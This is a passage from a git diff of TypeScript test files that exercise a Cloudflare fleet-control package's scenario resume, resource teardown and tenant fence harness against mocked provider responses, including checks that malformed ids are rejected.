'absent'], + ['persisted foreign before identity', 'foreign'], + ] as const)('terminal force resume: %s', async (_title, identity) => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const { actions, invocation } = await seedTerminalForceResume( + target, + { provider: 0, maintenance: 0, application: 0 }, + { identity }, + ); + const result = await run(target, withControlRead(invocation, withoutRoleA)); + noForceTerminal(actions); + expect(result).toMatchObject({ + status: 'failed', + reason: 'observation-mismatch', + phase: 'force-terminal-a', + }); + expect(stored(target).proofs.terminalForce.a).toBeNull(); + }); + + it('terminal force resume: reconciles the mutation against the record it still holds', async () => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const attempts = { provider: 0, maintenance: 0, application: 0 }; + const state = seed('force-terminal-a', (state) => { + state.mutation = settledCall( + 'force-terminal', + 'returned', + 3, + { role: 'a' }, + attempts, + ) as MutableScenario['mutation']; + present(state.mutation).before = { + databaseId: present(state.proofs.decommission.a).databaseId, + scriptName: present(state.proofs.decommission.a).scriptName, + }; + state.proofs.terminalForce = { a: null }; + present(state.proofs.steps[0]).step = 'arm-maintenance'; + present(state.proofs.steps[1]).step = 'arm-maintenance'; + state.proofs.restart = restartProof(target.f, { + resumedProcess: { ...RESUMED }, + replayOrdinal: 3, + }) as MutableScenario['proofs']['restart']; + // The mutation settled after the last reconciliation and role a is still + // recorded present, so the resumed run reads the deletion through the + // reconciliation the force permits rather than from a record that + // already agreed with the provider. + state.reconciledOrdinal = 2; + }); + await target.journal.recordScenario(state); + expect(stored(target).records[0]).toMatchObject({ + role: 'a', + present: true, + }); + const { invocation, actions } = reference(target, { interrupted: true }); + await run(target, withControlRead(invocation, withoutRoleA)); + noForceTerminal(actions); + expect(stored(target).phase).toBe('force-recovery'); + expect(stored(target).proofs.terminalForce.a).toEqual({ + databaseId: present(state.proofs.decommission.a).databaseId, + scriptName: present(state.proofs.decommission.a).scriptName, + ordinal: 3, + attempts, + }); + expect(stored(target).records[0]).toMatchObject({ + role: 'a', + present: false, + }); + expect(stored(target).reconciledOrdinal).toBeGreaterThan(3); + }); + + // Columns: the witness the reference returns, the invocation failure it + // raises instead, and the reason the run reports. A refused reference is the + // one row whose own code reaches the caller. + it.each([ + ['matching identity', 'matching', null, 'observation-mismatch'], + ['absent row', null, null, 'observation-mismatch'], + ['missing identity', undefined, null, 'observation-mismatch'], [ 'extra identity key', { databaseId: 'db', scriptName: 'script', extra: true }, null, + 'observation-mismatch', + ], + [ + 'non-string databaseId', + { databaseId: 1, scriptName: 'script' }, + null, + 'observation-mismatch', ], - ['non-string databaseId', { databaseId: 1, scriptName: 'script' }, null], - ['non-string scriptName', { databaseId: 'db', scriptName: null }, null], - ['array identity', [], null], - ['lost response', undefined, 'injected-response-loss'], - ['refused response', undefined, 'reference-refused'], - ] as const)('terminal force settlement: %s', async (_title, witness, failure) => { + [ + 'non-string scriptName', + { databaseId: 'db', scriptName: null }, + null, + 'observation-mismatch', + ], + // Two string members, both named, one outside the journal's identifier + // charset: the refusal lands before settlement, not at the persist that + // would follow it. + [ + 'out-of-charset databaseId', + { databaseId: 'db one', scriptName: 'script' }, + null, + 'observation-mismatch', + ], + ['array identity', [], null, 'observation-mismatch'], + [ + 'lost response', + undefined, + 'injected-response-loss', + 'observation-mismatch', + ], + ['refused response', undefined, 'reference-refused', 'reference-refused'], + ] as const)('terminal force settlement: %s', async (_title, witness, failure, reason) => { const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); const state = seed('force-terminal-a', (state) => { state.proofs.terminalForce = { a: null }; @@ -1500,7 +1423,9 @@ describe('scenario resume re-entry against a settled journal', () => { }; }, }; - let settled: DirectScenarioState['mutation'] = null; + // Left unassigned so a row that never settles is distinguishable from one + // that settled on a null call. + let settled: DirectScenarioState['mutation'] | undefined; const journal: DirectRunJournal = { ...target.journal, async recordScenario(value) { @@ -1523,21 +1448,32 @@ describe('scenario resume re-entry against a settled journal', () => { expect(result).toMatchObject({ status: 'failed', phase: 'force-terminal-a', - reason: - failure === 'reference-refused' ? failure : 'observation-mismatch', + reason, }); expect( actions.filter((action) => action.kind === 'force-terminal'), ).toHaveLength(1); expect(stored(target).proofs.terminalForce.a).toBeNull(); - if (failure || witness === null || witness === 'matching') { + if (witness === 'matching') expect(settled).toMatchObject({ - outcome: failure ?? 'returned', - before: failure ? null : before, + outcome: 'returned', + before, attempts: { provider: 0, maintenance: 0, application: 0 }, }); - } else { - expect(settled).toBeNull(); + else if (failure) + expect(settled).toMatchObject({ + outcome: failure, + before: null, + attempts: { provider: 0, maintenance: 0, application: 0 }, + }); + else if (witness === null) + expect(settled).toMatchObject({ + outcome: 'returned', + before: null, + attempts: { provider: 0, maintenance: 0, application: 0 }, + }); + else { + expect(settled).toBeUndefined(); expect(stored(target).mutation?.outcome).toBe('prepared'); expect(stored(target).mutation).not.toHaveProperty('before'); expect(stored(target).failure?.code).toBe('observation-mismatch'); @@ -1550,20 +1486,13 @@ describe('scenario resume re-entry against a settled journal', () => { seed('migration-start', () => {}) as DirectScenarioState, ); const { invocation } = reference(target, { interrupted: false }); - const duplicating: DirectInvocationClient = { - async invoke(action) { - const outcome = await invocation.invoke(action); - if (action.kind !== 'control-read') return outcome; - const result = outcome.result as { operations: readonly unknown[] }; - return { - ...outcome, - result: { - ...result, - operations: [...result.operations, ...result.operations], - }, - }; - }, - }; + const duplicating = withControlRead( + invocation, + (result: { operations: readonly unknown[] }) => ({ + ...result, + operations: [...result.operations, ...result.operations], + }), + ); expect(await run(target, duplicating)).toMatchObject({ status: 'failed', reason: 'observation-mismatch', diff --git a/packages/fleet-control/test/direct-credentialed-teardown.test.ts b/packages/fleet-control/test/direct-credentialed-teardown.test.ts index ded845d4..8e8189dc 100644 --- a/packages/fleet-control/test/direct-credentialed-teardown.test.ts +++ b/packages/fleet-control/test/direct-credentialed-teardown.test.ts @@ -4,12 +4,15 @@ import { readFile, writeFile } from 'node:fs/promises'; import { join } from 'node:path'; import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import { DirectProviderError } from '../scripts/direct-credentialed-provider.mjs'; +import { REFERENCE_SECRET_NAMES } from '../scripts/direct-credentialed-reference-vocabulary.mjs'; import { DIRECT_TEARDOWN_MAXIMA, type DirectRunJournal, } from '../scripts/direct-credentialed-run-state.mjs'; import type { DirectTeardownOutcome } from '../scripts/direct-credentialed-teardown.mjs'; import { teardownDirectReference } from '../scripts/direct-credentialed-teardown.mjs'; +import { CLOUDFLARE_INVENTORY_BOUND } from '../src/cloudflare-client-config.js'; +import { providerJson as json } from './fixtures/direct-observations.js'; import { bootstrapContext, cleanupDirectRunState, @@ -21,17 +24,16 @@ import { opened, present, scenarioJournal, + teardownWith, } from './fixtures/direct-run-state-builder.js'; const API_TOKEN = 'teardown/provider-token+sentinel=='; const ACCOUNT = 'account'; const ROOT = `/client/v4/accounts/${ACCOUNT}`; const ROUTES = '/client/v4/zones/zone/workers/routes'; -const SECRET_NAMES = [ - 'CLOUDFLARE_API_TOKEN', - 'DIRECT_DEPLOYMENT_SECRETS', - 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', -]; +// The listing answers in the provider's order, which teardown sorts before it +// compares; the names themselves are the upload's own list. +const SECRET_NAMES = [...REFERENCE_SECRET_NAMES].sort(); const unexpectedRequests: string[] = []; type Hook = ( @@ -39,14 +41,9 @@ type Hook = ( url: URL, ) => Promise | Response | undefined; type Row = Record; +// The world collections whose rows the residual scan classifies by one field. +type ListedSurface = 'scripts' | 'routes' | 'domains' | 'queues' | 'namespaces'; -const json = (result: unknown, result_info?: unknown) => - Response.json({ - success: true, - errors: [], - result, - ...(result_info === undefined ? {} : { result_info }), - }); const absent = (status = 404) => Response.json( { success: false, errors: [{ code: 10000, message: 'synthetic absence' }] }, @@ -63,6 +60,13 @@ const deployments = (versionId: string) => }, ], }); +// The bucket read the identity check refuses: the run's own name carrying a +// creation date that is not the one the bootstrap recorded. +const changedBucket = (w: { names: { exportBucket: string } }) => + json({ + name: w.names.exportBucket, + creation_date: '2020-01-01T00:00:00.000Z', + }); const paged = (url: URL, rows: Row[]) => json(url.searchParams.has('page') ? [] : rows); const never = () => @@ -136,8 +140,9 @@ async function world( ...(state.scriptPresent ? [{ id: names.referenceWorker }] : []), ...state.scripts, ]; - // The live shapes carry no `result_info` on scripts and routes, so the - // default world sends none; `corroborate` opts into the attested shape. + // The default world sends no `result_info` on any listing: the live shape for + // scripts and routes, and the uncorroborated case for the rest. + // `corroborate` opts into the attested shape. const listing = (rows: Row[]) => options.corroborate === true ? json(rows, { total_count: rows.length }) @@ -159,16 +164,7 @@ async function world( return json({ enabled: state.ingress, previews_enabled: false }); if (path === `${script}/secrets`) return json(state.secretNames.map((name) => ({ name }))); - if (path === `${script}/deployments`) - return json({ - deployments: [ - { - id: 'deployment', - strategy: 'percentage', - versions: [{ version_id: 'version', percentage: 100 }], - }, - ], - }); + if (path === `${script}/deployments`) return deployments('version'); if (path === `${script}/versions`) return state.scriptPresent ? json({ items: state.versions }) : absent(); if (path === script) @@ -314,37 +310,58 @@ describeLinux('direct reference teardown', () => { const outcome = await w.run(); expect(outcome.status).toBe('cleaned'); expect(w.requests).toEqual([ + // disable-reference-ingress: probe, identity, disable, reread `GET ${w.script}/subdomain`, `GET ${w.script}/deployments`, `POST ${w.script}/subdomain`, `GET ${w.script}/subdomain`, + + // delete-reference-worker: probe, identity (version and secret set), + // delete, reread `GET ${w.script}`, `GET ${w.script}/deployments`, `GET ${w.script}/secrets`, `DELETE ${w.script}`, `GET ${w.script}`, + + // delete-fleet-d1: probe, identity, delete, reread `GET ${ROOT}/d1/database/fleet-uuid`, `GET ${ROOT}/d1/database/fleet-uuid`, `DELETE ${ROOT}/d1/database/fleet-uuid`, `GET ${ROOT}/d1/database/fleet-uuid`, + + // delete-quota-d1: probe, identity, delete, reread `GET ${ROOT}/d1/database/quota-uuid`, `GET ${ROOT}/d1/database/quota-uuid`, `DELETE ${ROOT}/d1/database/quota-uuid`, `GET ${ROOT}/d1/database/quota-uuid`, + + // export objects: one bucket attestation, then the prefix-scoped and + // whole-bucket listings that admit the keys + `GET ${w.bucketPath}`, `GET ${w.bucketPath}/objects`, `GET ${w.bucketPath}/objects`, - `GET ${w.bucketPath}`, + + // delete-export-object a: probe, delete, reread `GET ${w.bucketPath}/objects/${w.keyA}`, `DELETE ${w.bucketPath}/objects/${w.keyA}`, `GET ${w.bucketPath}/objects/${w.keyA}`, + + // delete-export-object b: probe, delete, reread `GET ${w.bucketPath}/objects/${w.keyB}`, `DELETE ${w.bucketPath}/objects/${w.keyB}`, `GET ${w.bucketPath}/objects/${w.keyB}`, + + // the prefix settles empty before the bucket goes `GET ${w.bucketPath}/objects`, + + // delete-export-r2: probe, identity, delete, reread `GET ${w.bucketPath}`, `GET ${w.bucketPath}`, `DELETE ${w.bucketPath}`, `GET ${w.bucketPath}`, + + // the residual scan, one surface at a time `GET ${ROOT}/d1/database`, `GET ${ROOT}/d1/database`, `GET ${ROOT}/workers/durable_objects/namespaces`, @@ -356,6 +373,8 @@ describeLinux('direct reference teardown', () => { `GET ${ROOT}/workers/dispatch/namespaces`, `GET ${w.script}/versions`, ]); + // Each ordinal below is the position of that step's own reread in the list + // above: the receipt is written once the probe has seen the resource gone. expect(outcome.facts.receipts).toMatchObject({ ingress: { ordinal: 4, settledByReread: false }, worker: { @@ -422,7 +441,13 @@ describeLinux('direct reference teardown', () => { phase: 'refused', }); expect(w.requests).toEqual([]); - expect(outcome.facts.retainedIdentities.fleetUuid).toBe('fleet-uuid'); + expect(outcome.facts.retainedIdentities).toEqual({ + fleetUuid: 'fleet-uuid', + quotaUuid: 'quota-uuid', + exportBucket: w.names.exportBucket, + scriptName: w.names.referenceWorker, + activeVersionId: 'version', + }); }); it('refuses a pending bootstrap mutation and an incomplete bootstrap before any provider call', async () => { @@ -436,10 +461,17 @@ describeLinux('direct reference teardown', () => { apiToken: API_TOKEN, fetch: never(), }); - expect(retained(await call()).reason).toBe('invalid-state'); + const incomplete = retained(await call()); + expect(incomplete).toMatchObject({ + reason: 'invalid-state', + phase: 'refused', + }); await journal.beginBootstrapMutation('create-fleet-d1'); const pending = retained(await call()); - expect(pending.reason).toBe('outcome-unknown'); + expect(pending).toMatchObject({ + reason: 'outcome-unknown', + phase: 'refused', + }); expect(pending.facts.retainedIdentities).toEqual({ fleetUuid: null, quotaUuid: null, @@ -483,14 +515,40 @@ describeLinux('direct reference teardown', () => { }); }); - it('refuses a confirmed export set that is not exactly two keys', async () => { + it('re-enters deletion from a recorded refusal the run has since cleared', async () => { + const w = await world(); + await w.journal.recordTeardown( + teardownWith((state) => { + state.phase = 'refused'; + state.failure = 'scenario-incomplete'; + }), + ); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + expect((await diskState(w.journal)).teardown).toMatchObject({ + phase: 'complete', + failure: null, + }); + }); + + it.each([ + 1, 3, + ])('refuses a confirmed export set of %d keys', async (count) => { const w = await world({ complete: false }); const state = completeScenario(); const a = present(state.proofs.exports.a); - present(state.proofs.exports.b).receipt = structuredClone(a.receipt); - state.proofs.exportVerifications = state.proofs.exportVerifications.map( - () => structuredClone(a), - ); + if (count === 1) { + present(state.proofs.exports.b).receipt = structuredClone(a.receipt); + state.proofs.exportVerifications = state.proofs.exportVerifications.map( + () => structuredClone(a), + ); + } else { + // A third distinct receipt: the count is exactly two, not "at most the + // journal's `exportObjects` maximum". + const third = structuredClone(a); + third.receipt.operationId = `${a.receipt.operationId}-third`; + state.proofs.exportVerifications = [third]; + } await w.journal.recordScenario(state); const outcome = retained(await w.run()); expect(outcome.reason).toBe('invalid-state'); @@ -583,6 +641,27 @@ describeLinux('direct reference teardown', () => { : undefined, ); expect(retained(await w.run()).reason).toBe('provider-unavailable'); + + const resumed = await world(); + resumed.setHook((request, url) => + request.method === 'DELETE' && url.pathname === resumed.script + ? json([]) + : undefined, + ); + expect(retained(await resumed.run()).reason).toBe('outcome-unknown'); + resumed.setHook((request, url) => + request.method === 'GET' && url.pathname === resumed.script + ? absent(500) + : undefined, + ); + expect(retained(await resumed.run()).reason).toBe('provider-unavailable'); + // The probe refuses ahead of every write, so the record the earlier run + // left pending is still the record a later run re-enters on. + expect((await diskState(resumed.journal)).teardown).toMatchObject({ + phase: 'worker', + pending: { kind: 'delete-reference-worker' }, + receipts: { worker: null }, + }); }); it('retains a pending mutation whose reread still shows the resource', async () => { @@ -621,11 +700,34 @@ describeLinux('direct reference teardown', () => { uuid: 'fleet-uuid', settledByReread: true, }); + // No second delete of any shape for that database: the resumed run reads + // it and settles the receipt by that read. expect( w.requests .slice(mark) - .filter((entry) => entry === `DELETE ${ROOT}/d1/database/fleet-uuid`), - ).toEqual([]); + .filter((entry) => entry.includes(`${ROOT}/d1/database/fleet-uuid`)), + ).toEqual([`GET ${ROOT}/d1/database/fleet-uuid`]); + }); + + it('lists the receipts prefix on a resume whose object receipts are complete', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'DELETE' && url.pathname === w.bucketPath + ? json([]) + : undefined, + ); + const first = retained(await w.run()); + expect(first.reason).toBe('outcome-unknown'); + expect(first.facts.receipts.exportObjects).toHaveLength(2); + w.setHook(undefined); + w.state.objects.add(`${w.prefix}/receipts/v1/other/object.sql`); + const mark = w.requests.length; + // Every object receipt is recorded, so the deletes are skipped; the prefix + // is still read before the bucket goes, and an object that was not there + // when the receipts were written refuses here. + expect(retained(await w.run()).reason).toBe('unexpected-object'); + expect(w.requests.slice(mark)).toEqual([`GET ${w.bucketPath}/objects`]); + expect(w.state.bucketPresent).toBe(true); }); it('re-issues a present pending mutation once the identity matches', async () => { @@ -663,20 +765,9 @@ describeLinux('direct reference teardown', () => { w.setHook((request, url) => { if (request.method !== 'GET') return undefined; if (kind === 'bucket' && url.pathname === w.bucketPath) - return json({ - name: w.names.exportBucket, - creation_date: '2020-01-01T00:00:00.000Z', - }); + return changedBucket(w); if (kind === 'script' && url.pathname === `${w.script}/deployments`) - return json({ - deployments: [ - { - id: 'deployment', - strategy: 'percentage', - versions: [{ version_id: 'other-version', percentage: 100 }], - }, - ], - }); + return deployments('other-version'); return undefined; }); expect(retained(await w.run()).reason).toBe('identity-mismatch'); @@ -694,6 +785,27 @@ describeLinux('direct reference teardown', () => { expect(w.requests).not.toContain(`DELETE ${w.script}`); }); + it('keeps ingress present while preview URLs stay enabled', async () => { + const w = await world(); + let reads = 0; + w.setHook((request, url) => { + if (request.method !== 'GET' || url.pathname !== `${w.script}/subdomain`) + return undefined; + reads += 1; + return reads === 1 + ? json({ enabled: false, previews_enabled: true }) + : undefined; + }); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + // On `enabled` alone that first read settles the step: the disable is never + // issued and the receipt records a reread that never happened. + expect(w.requests).toContain(`POST ${w.script}/subdomain`); + expect(outcome.facts.receipts.ingress).toMatchObject({ + settledByReread: false, + }); + }); + it('refuses a first-attempt export bucket delete whose creation date changed', async () => { const w = await world(); let reads = 0; @@ -701,12 +813,7 @@ describeLinux('direct reference teardown', () => { if (request.method !== 'GET' || url.pathname !== w.bucketPath) return undefined; reads += 1; - return reads === 1 - ? undefined - : json({ - name: w.names.exportBucket, - creation_date: '2020-01-01T00:00:00.000Z', - }); + return reads === 1 ? undefined : changedBucket(w); }); expect(retained(await w.run()).reason).toBe('identity-mismatch'); expect(w.requests).toContain(`DELETE ${w.bucketPath}/objects/${w.keyB}`); @@ -746,7 +853,7 @@ describeLinux('direct reference teardown', () => { it('refuses a secret set carrying an extra unrecordable name', async () => { for (const extra of [ 'n'.repeat(DIRECT_TEARDOWN_MAXIMA.nameBytes + 1), - 'CONTROLNAME', + `CONTROL${String.fromCharCode(1)}NAME`, ]) { const w = await world(); w.state.secretNames.push(extra); @@ -772,10 +879,7 @@ describeLinux('direct reference teardown', () => { const w = await world(); w.setHook((request, url) => request.method === 'GET' && url.pathname === w.bucketPath - ? json({ - name: w.names.exportBucket, - creation_date: '2020-01-01T00:00:00.000Z', - }) + ? changedBucket(w) : undefined, ); expect(retained(await w.run()).reason).toBe('identity-mismatch'); @@ -879,6 +983,51 @@ describeLinux('direct reference teardown', () => { : undefined, ); expect(retained(await nameless.run()).reason).toBe('provider-unavailable'); + + // A page that repeats the name it was asked to start after: the ordering + // rule is `<=`, so a repeat refuses exactly as an out-of-order name does. + const repeated = await world(); + repeated.setHook((request, url) => + request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets` + ? json({ buckets: [{ name: 'zzz' }] }) + : undefined, + ); + expect(retained(await repeated.run()).reason).toBe('provider-unavailable'); + }); + + it('bounds the bucket inventory with the session limit it is given', async () => { + const w = await world(); + w.setHook((request, url) => + request.method === 'GET' && url.pathname === `${ROOT}/r2/buckets` + ? json({ + buckets: Array.from( + { length: CLOUDFLARE_INVENTORY_BOUND + 1 }, + (_row, index) => ({ + name: `bucket-${`${index}`.padStart(6, '0')}`, + }), + ), + }) + : undefined, + ); + // Without the session's bound the loop would read the whole page, see an + // empty second page and settle; the refusal is the bound arriving. + expect(retained(await w.run()).reason).toBe('provider-unavailable'); + }); + + it('refuses a listed row whose classifying field is not a string', async () => { + for (const [surface, row] of [ + ['scripts', {}], + ['routes', { script: 7 }], + ['domains', {}], + ['queues', {}], + ['namespaces', { id: 'orphan' }], + ] as [ListedSurface, Row][]) { + // A shared account records no global count, so without this refusal the + // unclassifiable row would leave a zero prefix count and settle. + const w = await world({ disposableAccount: false }); + w.state[surface].push(row); + expect(retained(await w.run()).reason).toBe('provider-unavailable'); + } }); it('terminates the bucket loop only on an empty page', async () => { @@ -970,6 +1119,25 @@ describeLinux('direct reference teardown', () => { ).toBe(1); }); + it('lists domains and routes inside the recorded zone', async () => { + const w = await world(); + const scoped: string[] = []; + w.setHook((_request, url) => { + if (url.pathname === `${ROOT}/workers/domains`) + scoped.push(`domains zone_id=${url.searchParams.get('zone_id')}`); + if (url.pathname === ROUTES) scoped.push(`routes ${url.pathname}`); + return undefined; + }); + const outcome = await w.run(); + expect(outcome.status).toBe('cleaned'); + // Both counts these surfaces record are the zone's, the way + // `bucketJurisdictions` records the jurisdiction the bucket count covers. + expect(scoped).toEqual(['domains zone_id=zone', `routes ${ROUTES}`]); + expect(present(outcome.facts.residual).bucketJurisdictions).toEqual([ + 'default', + ]); + }); + it('retains the pending mutation when the budget is exhausted mid-sequence', async () => { const w = await world(); w.setHook((request, url) => { @@ -979,13 +1147,16 @@ describeLinux('direct reference teardown', () => { }); const outcome = retained(await w.run()); expect(outcome.reason).toBe('budget-exhausted'); + // Mid-sequence: the phases before the exhausted call keep their receipts, + // and the call it stopped on stays pending rather than being rolled back. expect((await diskState(w.journal)).teardown).toMatchObject({ phase: 'worker', pending: { kind: 'delete-reference-worker' }, + receipts: { ingress: { settledByReread: false }, worker: null }, }); }); - it('records a prefixed queue as a residual and settles when none is left', async () => { + it('records a prefixed queue as a residual', async () => { const left = await world(); left.state.queues.push({ queue_name: `${left.prefix}-left-behind` }); const retainedOutcome = retained(await left.run()); @@ -996,18 +1167,9 @@ describeLinux('direct reference teardown', () => { globalCount: 1, exhaustive: false, }); - const empty = await world(); - const outcome = await empty.run(); - expect(outcome.status).toBe('cleaned'); - expect(present(outcome.facts.residual).surfaces.queues).toEqual({ - prefixCount: 0, - prefixNames: [], - globalCount: 0, - exhaustive: false, - }); }); - it('records the provider attestation on every single-page surface', async () => { + it('records the provider attestation on scripts, domains, routes and queues', async () => { const surfaces = ['scripts', 'domains', 'routes', 'queues'] as const; const plain = await world(); const uncorroborated = await plain.run(); @@ -1066,6 +1228,9 @@ describeLinux('direct reference teardown', () => { expect((await w.run()).status).toBe('cleaned'); await closed(w.journal); const path = join(w.journal.directory, 'journal.json'); + // Control: the same journal resumes while the surface is there, so the + // refusal below is the missing surface and not another part of the record. + await closed(await opened({ ...w.f.input, mode: 'resume' })); const snapshot = JSON.parse(await readFile(path, 'utf8')) as { teardown: { residual: { surfaces: Record } }; }; diff --git a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts index 8b9874b3..5a1d85d1 100644 --- a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts +++ b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts @@ -151,6 +151,19 @@ describe.sequential('direct tenant fixture in workerd', { expect(response.status).toBe(200); return response.json() as Promise; }; + const fencePost = (path: string, body?: string) => + appFetch(path, { + method: 'POST', + headers: applicationHeaders, + ...(body === undefined ? {} : { body }), + }); + const fenceProbe = (epoch: unknown) => + fencePost('/__direct/fence-probe', JSON.stringify({ epoch })); + const fenceMutate = (body?: Record) => + fencePost( + '/__direct/fence-mutate', + body === undefined ? undefined : JSON.stringify(body), + ); beforeAll(async () => { directory = await mkdtemp(join(tmpdir(), 'fleet-direct-tenant-')); @@ -440,11 +453,7 @@ describe.sequential('direct tenant fixture in workerd', { requireMutationEpoch: false, }); for (const epoch of ['current', 'stale', 'missing', 'future']) { - const response = await appFetch('/__direct/fence-probe', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ epoch }), - }); + const response = await fenceProbe(epoch); expect(response.status).toBe(200); expect(await response.json()).toEqual({ epoch, @@ -452,11 +461,7 @@ describe.sequential('direct tenant fixture in workerd', { }); } for (const body of [undefined, '{}']) { - const response = await appFetch('/__direct/fence-mutate', { - method: 'POST', - headers: applicationHeaders, - ...(body === undefined ? {} : { body }), - }); + const response = await fencePost('/__direct/fence-mutate', body); expect(response.status).toBe(200); expect(await response.json()).toEqual({ accepted: true }); } @@ -466,11 +471,7 @@ describe.sequential('direct tenant fixture in workerd', { ['/__direct/fence-probe', '{"epoch":"bogus"}'], ['/__direct/fence-probe', undefined], ] as const) { - const response = await appFetch(path, { - method: 'POST', - headers: applicationHeaders, - ...(body === undefined ? {} : { body }), - }); + const response = await fencePost(path, body); expect(response.status).toBe(400); expect( (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results, @@ -479,11 +480,7 @@ describe.sequential('direct tenant fixture in workerd', { }); it('refuses a draining create and admits a draining delete after rejecting malformed ids', async () => { - const created = await appFetch('/__direct/fence-mutate', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ phase: 'create' }), - }); + const created = await fenceMutate({ phase: 'create' }); expect(created.status).toBe(200); const creation = (await created.json()) as { accepted: boolean; @@ -506,34 +503,33 @@ describe.sequential('direct tenant fixture in workerd', { mutationEpoch: 0, requireMutationEpoch: false, }); - const refused = await appFetch('/__direct/fence-mutate', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ phase: 'create' }), - }); + const refused = await fenceMutate({ phase: 'create' }); expect(refused.status).toBe(200); expect(await refused.json()).toEqual({ accepted: false, code: 'EXECUTION_FENCED', status: 503, }); + const fenced = await fenceProbe('current'); + expect(fenced.status).toBe(200); + // The probe reads the same refusal as a classification rather than as the + // unclassified answer it reports for a code it cannot place. + expect(await fenced.json()).toEqual({ + epoch: 'current', + classification: 'fenced', + }); const env = await worker.getEnv(); for (const malformed of ['..', 'x/y', '%', `${scheduleId}?ignored`]) { - const response = await appFetch('/__direct/fence-mutate', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ phase: 'delete', scheduleId: malformed }), + const response = await fenceMutate({ + phase: 'delete', + scheduleId: malformed, }); expect(response.status).toBe(400); expect( (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results, ).toEqual([{ id: scheduleId }]); } - const deleted = await appFetch('/__direct/fence-mutate', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ phase: 'delete', scheduleId }), - }); + const deleted = await fenceMutate({ phase: 'delete', scheduleId }); expect(deleted.status).toBe(200); expect(await deleted.json()).toMatchObject({ accepted: true }); expect( @@ -550,6 +546,26 @@ describe.sequential('direct tenant fixture in workerd', { }); }); + it('separates an unclassified mutation answer from a fence refusal', async () => { + const env = await worker.getEnv(); + const unknown = await fenceMutate({ + phase: 'delete', + scheduleId: 'absent-schedule', + }); + expect(unknown.status).toBe(200); + // The schedule router answers a schedule it cannot find with no `reason` + // member, so the route reports the answer it could not read rather than a + // refusal code the tenant never received. + expect(await unknown.json()).toEqual({ + accepted: false, + code: 'unexpected', + status: 404, + }); + expect( + (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results, + ).toEqual([]); + }); + it('refuses the pre-cutover artifact and admits the next artifact on the same activated fence', async () => { const before = await readFence(); const draining = await transitionFence({ @@ -577,11 +593,7 @@ describe.sequential('direct tenant fixture in workerd', { requireMutationEpoch: true, transitionRevision: draining.transitionRevision + 1, }); - const stale = await appFetch('/__direct/fence-mutate', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ phase: 'both' }), - }); + const stale = await fenceMutate({ phase: 'both' }); expect(stale.status).toBe(200); const staleOutcome = await stale.json(); expect(staleOutcome).toEqual({ @@ -593,17 +605,10 @@ describe.sequential('direct tenant fixture in workerd', { await server.update(options('2')); worker = server.getWorker(); expect(await readFence()).toEqual(reopened); - const current = await appFetch('/__direct/fence-mutate', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ phase: 'both' }), - }); + const current = await fenceMutate({ phase: 'both' }); expect(current.status).toBe(200); const currentOutcome = await current.json(); expect(currentOutcome).toEqual({ accepted: true }); - process.stdout.write( - `A1_ARTIFACT_EPOCH ${JSON.stringify({ release1: staleOutcome, release2: currentOutcome })}\n`, - ); }); it('classifies missing, future and stale epochs after reopen and admits the current epoch', async () => { @@ -613,11 +618,7 @@ describe.sequential('direct tenant fixture in workerd', { ['stale', 'stale'], ['current', 'accepted'], ]) { - const response = await appFetch('/__direct/fence-probe', { - method: 'POST', - headers: applicationHeaders, - body: JSON.stringify({ epoch }), - }); + const response = await fenceProbe(epoch); expect(response.status).toBe(200); expect(await response.json()).toEqual({ epoch, classification }); } @@ -714,9 +715,31 @@ describe.sequential('direct tenant fixture in workerd', { }); describe('direct reference harness provider surface', () => { + const ACCOUNT = 'https://api.cloudflare.com/client/v4/accounts/account'; + const deployment = `${ACCOUNT}/workers/scripts/absent-script/deployments/deployment`; + const version = `${ACCOUNT}/workers/scripts/pinned-script/versions/pinned-version`; + + const seedVersion = ( + harness: Awaited>, + ) => + harness.world.seedScript('pinned-script', { + versions: [ + { + versionId: 'pinned-version', + tag: undefined, + bindings: [], + mainModule: 'index.mjs', + modules: [], + }, + ], + subdomain: { enabled: false, previewsEnabled: false }, + }); + + const versionResources = async (response: Response) => + ((await response.json()) as { result: { resources: object } }).result + .resources; + it('answers the Node-side deployment read only when the harness opts in', async () => { - const deployment = - 'https://api.cloudflare.com/client/v4/accounts/account/workers/scripts/absent-script/deployments/deployment'; const gated = await createDirectReferenceHarness(); try { expect((await gated.projection.fetch(deployment)).status).toBe(404); @@ -737,4 +760,32 @@ describe('direct reference harness provider surface', () => { await opted.close(); } }); + + it('adds the observed runtime to a bare version read only when the harness opts in', async () => { + const gated = await createDirectReferenceHarness(); + try { + seedVersion(gated); + const response = await gated.projection.fetch(version); + expect(response.status).toBe(200); + // The gated projection answers the fixture's own version record, so a + // consumer reading `script_runtime` here would be reading the observer, + // not the provider. + expect(await versionResources(response)).not.toHaveProperty( + 'script_runtime', + ); + } finally { + await gated.close(); + } + const opted = await createDirectReferenceHarness({ + nodeProviderRest: true, + }); + try { + seedVersion(opted); + const response = await opted.projection.fetch(version); + expect(response.status).toBe(200); + expect(await versionResources(response)).toHaveProperty('script_runtime'); + } finally { + await opted.close(); + } + }); }); diff --git a/packages/fleet-control/test/direct-reference-fence.harness.test.ts b/packages/fleet-control/test/direct-reference-fence.harness.test.ts index e76d635c..c2f421b2 100644 --- a/packages/fleet-control/test/direct-reference-fence.harness.test.ts +++ 